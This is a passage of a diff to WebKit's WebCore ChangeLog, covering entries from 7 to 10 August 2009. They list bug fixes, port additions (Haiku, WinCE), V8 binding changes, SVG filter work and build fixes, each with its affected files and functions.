+        (WebCore::FrameLoader::gotoAnchor):
+        (WebCore::FrameLoader::scheduleLocationChange):
+        (WebCore::FrameLoader::scrollToAnchor):
+        (WebCore::FrameLoader::shouldReload):
+        (WebCore::FrameLoader::urlsMatchItem):
+        * loader/appcache/ApplicationCache.cpp:
+        (WebCore::ApplicationCache::resourceForURL):
+        (WebCore::ApplicationCache::resourceForRequest):
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::cacheForMainRequest):
+        (WebCore::ApplicationCacheGroup::fallbackCacheForMainRequest):
+        (WebCore::ApplicationCacheGroup::selectCache):
+        (WebCore::ApplicationCacheGroup::finishedLoadingMainResource):
+        (WebCore::ApplicationCacheGroup::didReceiveResponse):
+        (WebCore::ApplicationCacheGroup::didFail):
+        (WebCore::ApplicationCacheGroup::addEntry):
+        * loader/appcache/ApplicationCacheResource.h:
+        (WebCore::ApplicationCacheResource::create):
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::findOrCreateCacheGroup):
+        (WebCore::ApplicationCacheStorage::cacheGroupForURL):
+        (WebCore::ApplicationCacheStorage::fallbackCacheGroupForURL):
+        * loader/appcache/ManifestParser.cpp:
+        (WebCore::parseManifest):
+        * page/Location.cpp:
+        (WebCore::Location::hash):
+        * page/Page.cpp:
+        (WebCore::Page::goToItem):
+        * rendering/RenderPartObject.cpp:
+        (WebCore::isURLAllowed):
+        * workers/WorkerLocation.cpp:
+        (WebCore::WorkerLocation::hash):
+
+2009-08-10  Andy Shaw <andy.shaw@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix endless loop when the application is quit by a secondary thread during a sync xml http request.
+
+        Replace the m_finished state variable and the call to QCoreApplication::processEvents() with
+        a dedicated QEventLoop, that can be terminated from within WebCoreSynchronousLoader as well
+        as from Qt through its knowledge of globally registered eventloops.
+
+        There is no unit test for this bug as it would require exporting additional symbols and
+        introduce the synchronous loader as global variable just for the test.
+
+        * platform/network/qt/ResourceHandleQt.cpp:
+        (WebCore::WebCoreSynchronousLoader::didFinishLoading):
+        (WebCore::WebCoreSynchronousLoader::didFail):
+        (WebCore::WebCoreSynchronousLoader::waitForCompletion):
+
+2009-08-10  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Make properties inspection serialized.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28078
+
+        * inspector/front-end/DOMAgent.js:
+        (InspectorController.getPrototypes):
+        (InspectorController.getProperties):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.getPrototypes):
+        (InjectedScript.getProperties):
+        (InjectedScript.setPropertyValue):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        (WebInspector.ObjectRef):
+        (WebInspector.ObjectPropertyRef):
+        (WebInspector.ObjectPropertiesSection.prototype.onpopulate):
+        (WebInspector.ObjectPropertiesSection.prototype.update.callback):
+        (WebInspector.ObjectPropertiesSection.prototype.update):
+        (WebInspector.ObjectPropertiesSection.prototype._update):
+        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate.callback):
+        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
+        (WebInspector.ObjectPropertyTreeElement.prototype.onattach):
+        (WebInspector.ObjectPropertyTreeElement.prototype.update):
+        * inspector/front-end/PropertiesSidebarPane.js:
+        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
+        (WebInspector.PropertiesSidebarPane.prototype.update):
+
+2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] wml.css lacks <pre> support
+        https://bugs.webkit.org/show_bug.cgi?id=28135
+
+        Add <pre> support for WML.
+        Extended fast/wml/text-emphasis.wml to cover <pre> support.
+
+        * css/wml.css: <pre> section copied from html.css
+
+2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fix non-WML enabled builds. Remove ENABLE(WML) guards around the switch cases 'FrameLoadTypeBackWMLDeckNotAccessible'.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::isBackForwardLoadType):
+        (WebCore::FrameLoader::restoreDocumentState):
+        (WebCore::FrameLoader::transitionToCommitted):
+        (WebCore::FrameLoader::loadItem):
+
+2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] Deck access control is completly broken
+        https://bugs.webkit.org/show_bug.cgi?id=27721
+
+        Rewrite WML deck access control, actually works now standalone and within LayoutTests.
+        Added several new layout tests covering local & remote access support.
+
+        In order to detect WML task execution failures from within the WML layout tests a new
+        method Console::lastWMLErrorMessage() has been added, returning the last recorded WML
+        error message. Change WML log messages to dump to InspectorClient, just like it's done
+        for HTML - we used to behave like JSMessageSource, which is wrong.
+
+        Tests: http/tests/wml/access-target-domain-deny.html
+               http/tests/wml/access-target-path-deny.html
+               http/tests/wml/access-target.html
+               wml/access-target-deny.html
+               wml/access-target.html
+
+        * inspector/ConsoleMessage.h:
+        (WebCore::ConsoleMessage::source): Added public method to fetch the message source type.
+        (WebCore::ConsoleMessage::message): Added public method to access the error message.
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::consoleMessages): Added for Console::lastWMLErrorMessage(), to be able to crawl through the list of dumped messages.
+        * loader/FrameLoader.cpp: Recognize 'FrameLoadTypeBackWMLDeckNotAccessible', all guarded by ENABLE(WML).
+        (WebCore::isBackForwardLoadType):
+        (WebCore::FrameLoader::restoreDocumentState):
+        (WebCore::FrameLoader::transitionToCommitted):
+        (WebCore::FrameLoader::loadItem):
+        * loader/FrameLoaderTypes.h:
+        (WebCore::): Add new load type 'FrameLoadTypeBackWMLDeckNotAccessible', behaving like FrameLoadTypeBack plus WML specific information.
+        * page/Console.cpp:
+        (WebCore::Console::addMessage): Don't dump WML messages using ChromeClient (as it's done for JSMessageSource), but go through InspectorController.
+        (WebCore::Console::lastWMLErrorMessage): Crawl InspectorController::consoleMssages() to look up the last WML error message, if present.
+        * page/Console.h:
+        * page/Console.idl: Add "[DontEnum] DOMString lastWMLErrorMessage()".
+        * wml/WMLAccessElement.cpp: Store path/domain as member variables and pass them to WMLPageState once in insertedIntoDocument().
+        (WebCore::WMLAccessElement::parseMappedAttribute):
+        (WebCore::WMLAccessElement::insertedIntoDocument):
+        * wml/WMLAccessElement.h:
+        * wml/WMLCardElement.cpp: Handle 'FrameLoadTypeBackWMLDeckNotAccessible' as deck-entry method. Report WML error in current deck.
+        (WebCore::WMLCardElement::handleIntrinsicEventIfNeeded):
+        * wml/WMLDocument.cpp: Enable deck-access control in finishedParsing. Take care of method name changes in WMLPageState.
+        (WebCore::WMLDocument::finishedParsing):
+        (WebCore::WMLDocument::initialize):
+        * wml/WMLErrorHandling.cpp: Never report 'WMLErrorDeckNotAccessible' messages through the tokenizer, that would alter the page into error state.
+        (WebCore::reportWMLError):
+        * wml/WMLPageState.cpp: Completly rewrote access path/domain parsing & deck-access control, strictly following the WML spec. All covered by tests.
+        (WebCore::WMLPageState::WMLPageState):
+        (WebCore::normalizedHostName):
+        (WebCore::hostFromURL):
+        (WebCore::urlForHistoryItem):
+        (WebCore::tryAccessHistoryURLs):
+        (WebCore::WMLPageState::processAccessControlData):
+        (WebCore::WMLPageState::resetAccessControlData):
+        (WebCore::WMLPageState::canAccessDeck):
+        (WebCore::WMLPageState::hostIsAllowedToAccess):
+        (WebCore::WMLPageState::pathIsAllowedToAccess):
+        * wml/WMLPageState.h:
+
+2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        FrameLoadType / WebFrameLoadType enums are out of sync
+        https://bugs.webkit.org/show_bug.cgi?id=28132
+
+        Modify FrameLoadType enum to match the order of WebFrameLoadType in WebFramePrivate.h / IWebFramePrivate.idl.
+        The mac/win public API exposes the old 'FrameLoadTypeReloadAllowingStaleData' value, which resides between
+        'FrameLoadTypeReload' and 'FrameLoadTypeSame'. Work around this problem, by assigning 'FrameLoadTypeSame = FrameLoadTypeReload 2'.
+
+        Add a note to the FrameLoadType enum to keep it in sync with WebFramePrivate.h & IWebFramePrivate.idl.
+
+        * loader/FrameLoaderTypes.h:
+        (WebCore::):
+
+2009-08-09  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        [WML] manual-tests/wml/onevent-prev.wml crashes
+        https://bugs.webkit.org/show_bug.cgi?id=27722
+
+        Fix intrinsic event execution, leading to crashes.
+        First finish parsing the document, then execute the events. Not the other way round.
+        -> exposes bugs all over the WML layout tests, which relied on that quirk.
+
+        Fixes manual-tests/wml/onevent-prev.wml.
+
+        * wml/WMLDocument.cpp:
+        (WebCore::WMLDocument::WMLDocument):
+        (WebCore::WMLDocument::finishedParsing):
+        (WebCore::WMLDocument::initialize):
+        * wml/WMLDocument.h:
+
+2009-08-08  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Update WebCore.gyp to add ImageBuffer.cpp,
+        introduced by http://trac.webkit.org/changeset/46956.
+        https://bugs.webkit.org/show_bug.cgi?id=27844
+
+        * WebCore.gypi: Added ImageBuffer.cpp.
+
+2009-08-08  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Rubber-stamped by Jan Michael Alonzo.
+
+        Add [DontEnum] to WML specific initializeWMLPageState/resetWMLPageState methods, to assure
+        fast/dom/Window/window-properties.html doesn't show any differences when WML is enabled.
+
+        * dom/Document.idl:
+
+2009-08-08  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        SVG Filter need feColorMatrix implementation
+        [https://bugs.webkit.org/show_bug.cgi?id=27711]
+
+        Adds the filter effect feColorMatrix to SVG filters. 
+
+        There is already a test in the w3c directory.
+        Test: svg/W3C-SVG-1.1/filters-color-01-b.svg
+
+        * platform/graphics/filters/FEColorMatrix.cpp:
+        (WebCore::matrix):
+        (WebCore::saturate):
+        (WebCore::huerotate):
+        (WebCore::luminance):
+        (WebCore::FEColorMatrix::apply):
+
+2009-08-08  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Build fix for Tiger.
+        https://bugs.webkit.org/show_bug.cgi?id=27844
+
+        * platform/graphics/cg/ImageBufferCG.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+
+2009-08-08  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        This is an initial implementation for linearRGB and sRGB support for all
+        platforms. Some platforms like Cg support different color spaces
+        natively, others like Qt, Cairo and Skia do not. This patch uses the
+        native implementation of platforms if possible and offers a common version
+        if not.
+
+        Different color spaces are used in SVG Filters. Nearly every Filter test 
+        case is a test for this patch and will be enabled, once Filters are enabled.
+        https://bugs.webkit.org/show_bug.cgi?id=27844
+
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * html/canvas/CanvasRenderingContext2D.cpp:
+        (WebCore::CanvasRenderingContext2D::drawTextInternal):
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::createImageBuffer):
+        * platform/graphics/GeneratedImage.cpp:
+        (WebCore::GeneratedImage::drawPattern):
+        * platform/graphics/ImageBuffer.cpp: Added.
+        (WebCore::ImageBuffer::transformColorSpace):
+        * platform/graphics/ImageBuffer.h:
+        (WebCore::):
+        (WebCore::ImageBuffer::create):
+        * platform/graphics/cairo/ImageBufferCairo.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+        (WebCore::ImageBuffer::platformTransformColorSpace):
+        * platform/graphics/cairo/ImageCairo.cpp:
+        (WebCore::Image::drawPattern):
+        * platform/graphics/cg/ImageBufferCG.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+        * platform/graphics/chromium/TransparencyWin.cpp:
+        (WebCore::TransparencyWin::OwnedBuffers::OwnedBuffers):
+        * platform/graphics/filters/FilterEffect.cpp:
+        (WebCore::FilterEffect::getEffectContext):
+        * platform/graphics/qt/ImageBufferQt.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+        (WebCore::ImageBuffer::platformTransformColorSpace):
+        * platform/graphics/qt/PathQt.cpp:
+        (WebCore::Path::strokeContains):
+        (WebCore::Path::strokeBoundingRect):
+        * platform/graphics/skia/ImageBufferSkia.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+        (WebCore::ImageBuffer::platformTransformColorSpace):
+        * platform/graphics/skia/SkiaUtils.cpp:
+        (WebCore::scratchContext):
+        * platform/graphics/wx/ImageBufferWx.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+        * platform/mac/ScrollbarThemeMac.mm:
+        (WebCore::ScrollbarThemeMac::paint):
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+        * svg/SVGPatternElement.cpp:
+        (WebCore::SVGPatternElement::buildPattern):
+        * svg/graphics/SVGImage.cpp:
+        (WebCore::SVGImage::nativeImageForCurrentFrame):
+        * svg/graphics/SVGPaintServerGradient.cpp:
+        (WebCore::createMaskAndSwapContextForTextGradient):
+        * svg/graphics/SVGPaintServerPattern.cpp:
+        (WebCore::SVGPaintServerPattern::setup):
+        * svg/graphics/SVGResourceFilter.cpp:
+        (WebCore::SVGResourceFilter::prepareFilter):
+        (WebCore::SVGResourceFilter::applyFilter):
+        * svg/graphics/SVGResourceMasker.cpp:
+        (WebCore::SVGResourceMasker::applyMask):
+        * svg/graphics/filters/SVGFETile.cpp:
+        (WebCore::FETile::apply):
+
+2009-08-08  Xan Lopez  <xlopez@igalia.com>
+
+        Roll out r46928, since it wasn't done in accordance with the
+        agreed naming.
+
+        * bindings/gdom/GdomDOMObject.cpp: Removed.
+
+2009-08-08  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Xan Lopez.
+
+        [Gtk] Enable accessibility in Gtk DRT
+        https://bugs.webkit.org/show_bug.cgi?id=25989
+
+        Add SPI to get the focused accessible element to be used by DRT.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_get_focused_element):
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.h:
+
+2009-08-07  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Gtk build fix - add html/canvas to the binding generator's include path
+
+        * GNUmakefile.am:
+
+2009-08-07  Oliver Hunt  <oliver@apple.com>
+
+        Another attempt to fix windows.
+
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+
+2009-08-07  Oliver Hunt  <oliver@apple.com>
+
+        Windows build fix
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-08-07  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Gtk build fix - add html/canvas to the include path.
+
+        * GNUmakefile.am:
+
+2009-08-07  Adam Treat  <adam.treat@torchmobile.com>
+
+        Prospective build fix for Qt following r46937.
+
+        * WebCore.pro:
+
+2009-08-07  Yong Li  <yong.li@torchmobile.com>
+
+        WINCE PORT: store only width for GlyphBufferAdvance, to save space on low-memory devices
+        https://bugs.webkit.org/show_bug.cgi?id=27734
+
+        * platform/graphics/GlyphBuffer.h:
+        (WebCore::GlyphBuffer::advanceAt):
+        (WebCore::GlyphBuffer::advanceData):
+        (WebCore::GlyphBuffer::add):
+
+2009-08-07  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        WINCE PORT: pass unrecognized glyphs to GDI to handle
+        https://bugs.webkit.org/show_bug.cgi?id=27734
+
+        * platform/graphics/FontFastPath.cpp:
+        (WebCore::Font::glyphDataForCharacter):
+
+2009-08-07  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Move Canvas related file to a subdirectories
+        https://bugs.webkit.org/show_bug.cgi?id=28026
+
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * html/CanvasGradient.cpp: Removed.
+        * html/CanvasGradient.h: Removed.
+        * html/CanvasGradient.idl: Removed.
+        * html/CanvasPattern.cpp: Removed.
+        * html/CanvasPattern.h: Removed.
+        * html/CanvasPattern.idl: Removed.
+        * html/CanvasPixelArray.cpp: Removed.
+        * html/CanvasPixelArray.h: Removed.
+        * html/CanvasPixelArray.idl: Removed.
+        * html/CanvasRenderingContext2D.cpp: Removed.
+        * html/CanvasRenderingContext2D.h: Removed.
+        * html/CanvasRenderingContext2D.idl: Removed.
+        * html/CanvasStyle.cpp: Removed.
+        * html/CanvasStyle.h: Removed.
+        * html/canvas: Added.
+        * html/canvas/CanvasGradient.cpp: Copied from WebCore/html/CanvasGradient.cpp.
+        * html/canvas/CanvasGradient.h: Copied from WebCore/html/CanvasGradient.h.
+        * html/canvas/CanvasGradient.idl: Copied from WebCore/html/CanvasGradient.idl.
+        * html/canvas/CanvasPattern.cpp: Copied from WebCore/html/CanvasPattern.cpp.
+        * html/canvas/CanvasPattern.h: Copied from WebCore/html/CanvasPattern.h.
+        * html/canvas/CanvasPattern.idl: Copied from WebCore/html/CanvasPattern.idl.
+        * html/canvas/CanvasPixelArray.cpp: Copied from WebCore/html/CanvasPixelArray.cpp.
+        * html/canvas/CanvasPixelArray.h: Copied from WebCore/html/CanvasPixelArray.h.
+        * html/canvas/CanvasPixelArray.idl: Copied from WebCore/html/CanvasPixelArray.idl.
+        * html/canvas/CanvasRenderingContext2D.cpp: Copied from WebCore/html/CanvasRenderingContext2D.cpp.
+        * html/canvas/CanvasRenderingContext2D.h: Copied from WebCore/html/CanvasRenderingContext2D.h.
+        * html/canvas/CanvasRenderingContext2D.idl: Copied from WebCore/html/CanvasRenderingContext2D.idl.
+        * html/canvas/CanvasStyle.cpp: Copied from WebCore/html/CanvasStyle.cpp.
+        * html/canvas/CanvasStyle.h: Copied from WebCore/html/CanvasStyle.h.
+
+2009-08-07  Szabo Carol  <carol.szabo@nokia.com>
+
+        Reviewed by David Hyatt.
+
+        QtWebkit ignores letter-spacing and word-spacing styles.
+        QtWebkit handles custom letter-spacing and word-spacing in the native QFont
+        class, but the values for these options are not not passed on from
+        the platform independent part of the Font class.
+        Fixed QtWebkit behavior by applying the options to QFont when it is
+        returned via Font::font()
+
+        http://bugs.webkit.org/show_bug.cgi?id=27988
+
+        LayoutTests:
+        fast/css/word-space-extra.html
+        css2.1/t1604-c542-letter-sp-00-b-a.html
+        css2.1/t1604-c541-word-sp-01-b-a.html
+        css1/text_properties/word_spacing.html
+        
+        * platform/graphics/qt/FontQt.cpp:
+        (WebCore::Font::font):
+
+2009-08-07  Nicolas Weber  <thakis@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Use correct highlight color for listboxes and completion popups.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28090
+
+        * rendering/RenderThemeChromiumMac.h:
+        * rendering/RenderThemeChromiumMac.mm:
+        Rename activeListBoxSelectionBackgroundColor to
+        platformActiveListBoxSelectionBackgroundColor, so that it actually
+        overrides a virtual method.
+
+2009-08-07  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Added a fourth bunch of Haiku-specific files for WebCore.
+        https://bugs.webkit.org/show_bug.cgi?id=26988
+
+        * platform/haiku/PasteboardHaiku.cpp: Added.
+        (WebCore::Pasteboard::Pasteboard):
+        (WebCore::Pasteboard::generalPasteboard):
+        (WebCore::Pasteboard::writeSelection):
+        (WebCore::Pasteboard::canSmartReplace):
+        (WebCore::Pasteboard::plainText):
+        (WebCore::Pasteboard::documentFragment):
+        (WebCore::Pasteboard::writeURL):
+        (WebCore::Pasteboard::writeImage):
+        (WebCore::Pasteboard::clear):
+        * platform/haiku/PlatformKeyboardEventHaiku.cpp: Added.
+        (WebCore::keyIdentifierForHaikuKeyCode):
+        (WebCore::windowsKeyCodeForKeyEvent):
+        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
+        (WebCore::PlatformKeyboardEvent::disambiguateKeyDownEvent):
+        (WebCore::PlatformKeyboardEvent::currentCapsLockState):
+        * platform/haiku/PlatformMouseEventHaiku.cpp: Added.
+        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
+        * platform/haiku/PlatformWheelEventHaiku.cpp: Added.
+        (WebCore::PlatformWheelEvent::PlatformWheelEvent):
+
+2009-08-07  Nicolas Weber  <thakis@chromium.org>
+
+        Teach WebKit how to decode jpegs in cmyk and ycck color spaces.
+        Heavily inspired by Firefox's take on this issue.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27909
+
+        Reviewed by Eric Seidel.
+
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::JPEGImageReader::decode):
+        Tell jpeglib to convert ycck to cmyk and keep cmyk.
+        (WebCore::convertCMYKToRGBA):
+        Added function to convert cmyk to rgb.
+        (WebCore::convertRGBToRGBA):
+        Extracted existing conversion logic into its own function.
+        (WebCore::JPEGImageDecoder::outputScanlines):
+        Call convertCMYKToRGBA for cmyk images, convertRGBToRGBA for rgb
+        images.
+
+2009-08-07  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        SharedWorkers should be shared
+        https://bugs.webkit.org/show_bug.cgi?id=28058
+
+        Added tracking of shared workers to the SharedWorkerRepository.
+
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerProxy::create):
+        Changed SharedWorkerProxy to derive from ThreadSafeShared, as it needs to outlive the repository (if closed while some documents are still loading).
+        (WebCore::SharedWorkerProxy::thread):
+        (WebCore::SharedWorkerProxy::closing):
+        Added flag used to determine whether the worker has closed itself while loading.
+        (WebCore::SharedWorkerProxy::url):
+        (WebCore::SharedWorkerProxy::name):
+        Proxy now tracks worker URL and name to allow validity checks per section 4.8.3 of the WebWorkers spec.
+        (WebCore::SharedWorkerProxy::SharedWorkerProxy):
+        (WebCore::SharedWorkerProxy::addToDocumentSet):
+        Added API to track the document set for a worker to allow worker shutdown. Currently does nothing.
+        (WebCore::SharedWorkerScriptLoader::SharedWorkerScriptLoader):
+        Renamed SharedWorkerLoader to be SharedWorkerScriptLoader for clarity.
+        (WebCore::SharedWorkerScriptLoader::load):
+        (WebCore::SharedWorkerScriptLoader::notifyFinished):
+        (WebCore::DefaultSharedWorkerRepository::instance):
+        (WebCore::DefaultSharedWorkerRepository::workerScriptLoaded):
+        Now handles "worker already loaded" case.
+        (WebCore::SharedWorkerRepository::connect):
+        Delegates to DefaultSharedWorkerRepository::connectToWorker
+        (WebCore::DefaultSharedWorkerRepository::connectToWorker):
+        Added code to track the SharedWorkerProxy in a map, and to handle the "worker already loaded" case.
+        (WebCore::DefaultSharedWorkerRepository::getProxy):
+        Atomic get-or-create operation on the internal tracking HashMap.
+        * workers/DefaultSharedWorkerRepository.h:
+        * workers/SharedWorker.cpp:
+        (WebCore::SharedWorker::SharedWorker):
+        * workers/SharedWorkerRepository.h:
+        Removed instance() API and made constructor private to prevent instantiation.
+        (WebCore::SharedWorkerRepository::SharedWorkerRepository):
+
+2009-08-07  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Added four Haiku-specific files for WebCore:
+        PopupMenuHaiku.cpp, ScreenHaiku.cpp,
+        SearchPopupMenuHaiku.cpp and SoundHaiku.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=28080
+
+        * platform/haiku/PopupMenuHaiku.cpp: Added.
+        (WebCore::PopupMenu::PopupMenu):
+        (WebCore::PopupMenu::~PopupMenu):
+        (WebCore::PopupMenu::show):
+        (WebCore::PopupMenu::hide):
+        (WebCore::PopupMenu::updateFromElement):
+        (WebCore::PopupMenu::itemWritingDirectionIsNatural):
+        * platform/haiku/ScreenHaiku.cpp: Added.
+        (WebCore::screenRect):
+        (WebCore::screenAvailableRect):
+        (WebCore::screenDepth):
+        (WebCore::screenDepthPerComponent):
+        (WebCore::screenIsMonochrome):
+        * platform/haiku/SearchPopupMenuHaiku.cpp: Added.
+        (WebCore::SearchPopupMenu::SearchPopupMenu):
+        (WebCore::SearchPopupMenu::saveRecentSearches):
+        (WebCore::SearchPopupMenu::loadRecentSearches):
+        (WebCore::SearchPopupMenu::enabled):
+        * platform/haiku/SoundHaiku.cpp: Added.
+        (WebCore::systemBeep):
+
+2009-08-07  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Added two Haiku-specific files to WebCore:
+        TemporaryLinkStubs.cpp and WidgetHaiku.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=28080
+
+        * platform/haiku/TemporaryLinkStubs.cpp: Added.
+        (loadResourceIntoArray):
+        (WebCore::historyContains):
+        (WebCore::supportedKeySizes):
+        (WebCore::signedPublicKeyAndChallengeString):
+        (WebCore::userIdleTime):
+        (WebCore::callOnMainThread):
+        (WebCore::SharedBuffer::createWithContentsOfFile):
+        (WebCore::KURL::fileSystemPath):
+        (WebCore::getSupportedKeySizes):
+        * platform/haiku/WidgetHaiku.cpp: Added.
+        (WebCore::Widget::Widget):
+        (WebCore::Widget::~Widget):
+        (WebCore::Widget::frameRect):
+        (WebCore::Widget::setFrameRect):
+        (WebCore::Widget::setFocus):
+        (WebCore::Widget::setCursor):
+        (WebCore::Widget::show):
+        (WebCore::Widget::hide):
+        (WebCore::Widget::paint):
+        (WebCore::Widget::setIsSelected):
+
+2009-08-07  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix the problem that isAttribute is set to false for onerror and
+        onmessage in worker custom code.
+        https://bugs.webkit.org/show_bug.cgi?id=28083
+
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
+        (WebCore::getEventListener):
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::getEventListener):
+        (WebCore::ACCESSOR_SETTER):
+
+2009-08-07  Vitaly Repeshko  <vitalyr@quad.spb.corp.google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        V8 bindings: speed up lookupDOMWrapper by using new V8 API function.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28071
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::lookupDOMWrapper):
+
+2009-08-07  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Justin Garcia.
+
+        selectionHasStyle doesn't handle text-specific properties properly
+        https://bugs.webkit.org/show_bug.cgi?id=27858
+
+        This patch modifies selectionHasStyle so that it returns TrueTriState when text styles
+        (text-decoration, font-style, font-weight, & color) are present in all text nodes,
+        regardless of whether the style is also present in their ancestor nodes or not.
+        e.g. New behavior concludes that <b><i>hello</i><i>world</i></b> has italic style.
+
+        WebKit now applies the text styles (bold, italic, etc) if the specified style was not present on
+        at least one text node, rather than at the beginning of selection except on Mac.
+        On Mac, WebKit applies the text style if the style was not present at the beginning of style.
+
+        Test: editing/execCommand/toggle-compound-styles.html
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::getPropertiesNotInComputedStyle): bug fix, must use copy instead of makeMutable for a mutable style.
+        * editing/Editor.cpp:
+        (WebCore::):
+        (WebCore::triStateOfStyleInComputedStyle): Added a boolean type to ignore text-specific styles
+        (WebCore::Editor::selectionHasStyle): Ignores text-specific styles for all but text nodes
+        * editing/EditorCommand.cpp:
+        (WebCore::executeToggleStyle): Uses selectionHasStyle instead of selectionStartHasStyle
+
+2009-08-07  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Do not register V8 error message listener in WorkerContextExecutionProxy.
+        https://bugs.webkit.org/show_bug.cgi?id=28082
+
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::initV8IfNeeded):
+
+2009-08-07  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        Cairo-based Windows port does not handle cookies properly
+        https://bugs.webkit.org/show_bug.cgi?id=27414
+
+        curl handles cookies by itself, so using WinINet functions
+        to get and set cookies is wrong.
+
+        Replace CookieJarWin.cpp with CookieJarCurl.cpp so that
+        cookies can be implemented later once curl provides an API to
+        get and set cookies.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-08-07  Michael Nordman  <michaeln@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28074
+
+        V8 bindings for the window.applicationCache attribute.
+
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp: Added.
+
+2009-08-07  Alpha Lam  <hclam@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Right click on timeline of media controls panel cause seek
+        https://bugs.webkit.org/show_bug.cgi?id=27920
+
+        Add a test simulate the behavior of seeking by right clicking
+        on the time bar of media controls while playing.
+
